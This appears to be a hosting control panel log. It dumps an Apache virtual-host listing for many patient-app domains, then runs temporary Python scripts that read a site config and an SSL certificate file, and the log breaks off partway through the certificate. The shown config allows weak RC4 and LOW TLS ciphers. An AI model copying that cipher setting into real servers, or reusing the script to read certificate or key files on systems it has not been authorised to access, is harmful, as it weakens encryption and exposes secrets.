         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:30)
                 alias store.patientapps.com
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-28 06:01:40: 

PUT: /tmp/pkp442106

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_go_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-28 06:01:40: 

chmod 755 /tmp/pkp442106; /tmp/pkp442106; rm /tmp/pkp442106

2026-06-28 06:01:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf	1491
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>







2026-06-28 06:01:40: 

PUT: /tmp/pkp879196

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-28 06:01:40: 

chmod 755 /tmp/pkp879196; /tmp/pkp879196; rm /tmp/pkp879196

2026-06-28 06:01:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt	7424
f2:47:46:1b:c7:41:cd:f7:79:0b:05:87:48:a2:17:ba

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBVKRg4Kkat1/gcapcKnFKEISMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI4MDUwMzA4WhcNMjYwOTI2MDUwMzA3WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC1yMkccxl7oCbel3g9AgOFXJlJBMHcQ6jJmFpx4xifwsyE/exnWjROHrBN
ttnnlpAYHc9aGU6qGhGfEySrVSWC5bp50Hz0LTuLVRMGvf0bmjSvgHgOVMwPQMQZ
pEi07ajQEzC9ZlK+lcb75U0UjWoUnSoCVsBELrp1buEKHohdfGEf5vFjF+ybl7L0
PQA2bcmT3kACLbbbi/hQI7G5hnzDP5VA4zwtlTfByOgs9QJgmJQhOa2R9jKtmfKh
ldowy2/DM6qorOX6h3O525l1C+C6XnK1jWtIj1bDFf0KwpoLaWw2mnBkX0vnAlDT
pNlyUlcPsh6u5y2EnOeeZoGMrmFfAgMBAAGjggIhMIICHTAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
BjvAVNb0QB0t3PTv/XX/1Zsdn9wwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4
+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmku
bGVuY3Iub3JnLzAdBgNVHREEFjAUghJnby5wYXRpZW50YXBwcy5uZXQwEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxl
